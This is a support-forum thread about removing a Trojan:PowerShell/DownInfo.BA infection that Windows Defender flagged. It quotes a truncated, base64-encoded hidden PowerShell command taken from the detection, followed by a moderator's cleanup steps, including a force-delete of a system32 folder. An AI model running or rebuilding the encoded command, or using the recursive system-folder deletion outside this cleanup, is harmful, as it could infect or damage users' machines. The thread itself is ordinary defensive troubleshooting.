Trojan:PowerShell/DownInfo.BA

Anonymous
2025-06-11T15:19:14+00:00

Hi, I was wondering if anyone could help me to fix the issue i am facing? It just happened about 2 hours ago when suddenly i got multiple pop ups from Windows Security.

Does anyone know how to fix this? Trojan:PowerShell/DownInfo.BA

CmdLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -EncodedCommand IwAgADcAMAA3ADcAMgBiAGQAOQAtADkANgAzAGMALQA0ADUAOAAzAC0AYQA3AGMANwAtADUAMAA3AGUANQAwADkAMwAwAGEAMAA2AAoAJABQAHIAb

Thank you in advance.

Andy

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Windows for home | Windows 11 | Security and privacy

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Ramesh 181.2K Reputation points Volunteer Moderator
2025-06-11T15:34:07+00:00

A scheduled task triggers the command. Please do the following:

  1. Boot into Safe mode. https://support.microsoft.com/en-us/windows/windows-startup-settings-1af6ec8c-4d4a-4b23-adb7-e76eef0b847f

Open admin Command Prompt and run these commands:

  • netsh.exe winhttp reset proxy
  • bitsadmin /util /setieproxy localsystem NO_PROXY RESET
  • rd /s /q C:\Windows\system32\DomainAuthHost

Post the output.

  1. Share your Farbar scan logs for analysis.
  1. Download Farbar Recovery Scan Tool 64-bit (FRST64.exe)

https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/

Note: If Microsoft Edge or Chrome mislabels the Farbar Scanner executable as PUA/malware, choose to keep it by tapping … in the bottom bar, choosing Keep, and then choosing Keep anyway in the dialog that appears.

See this screenshot: https://learn.microsoft.com/en-us/deployedge/media/microsoft-edge-security-download-interruptions/dowload-was-blocked.png. It's a safe tool used in most antimalware forums.

  1. If the OS language is not English, rename FRST64.exe to FRST64English.exe.
  2. Run the program. Don't check or uncheck any options. Click "Scan".
  3. Add the two logs, FRST.txt and Addition.txt, to a Zip archive, share them on OneDrive or GoFile.io and post the link here.

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Additional note:

The Trojan:PowerShell/DownInfo.BA threat detection was added to Defender on 6/10/2025 10:52 PM (in security intelligence version 1.429.460.0). That's the same day the latest cumulative update was released. This makes the users think the LCU caused this 'false-detection'. In reality, their systems were already infected, and the infection came to light after installing security intelligence update version 1.429.460.0 on June 10.

https://www.microsoft.com/en-us/wdsi/definitions/antimalware-definition-release-notes?requestVersion=1.429.460.0

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  1. Anonymous
    2025-06-15T03:17:32+00:00

    Hi Ramesh!

    As you said, I ran the Network Troubleshooter, and it displayed Error Cache DNS. Then I created a Restore Point. Now the conection is fine, but Im having the Trojan:PowerShell/DownInfo.BA alert again. Should I run again the Fix.txt that you send me? In that case, the network error might be related to the trojan?

    Thanks!

    Hi Juan,

    I think starting a new thread for the DNS error is a good idea. Some users mentioned internet connectivity issues after installing the latest quality update.

    No need to run the fixlist again.

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  2. Anonymous
    2025-06-15T03:03:49+00:00

    Hello, I have the same problem, I followed the instructions left by FARBAR, I attached the ZIP with the files, but it is not clear to me what step I should follow

    https://gofile.io/d/pm3BLn

    I appreciate your help

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  3. Anonymous
    2025-06-14T20:23:15+00:00

    Hi Ramesh!

    I ran the fixlist.txt that you gave me. It worked and the defender says the pc is clean. But now I have the same issue of the network connection not working. I tried the network troubleshooter and it says Error in cache dns, tried to restart the pc and the dns config writing "ipconfig /flushdns" in the cmd, but it does not work. Maybe do you have a different view?

    Thanks!

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  4. Anonymous
    2025-06-14T17:52:54+00:00

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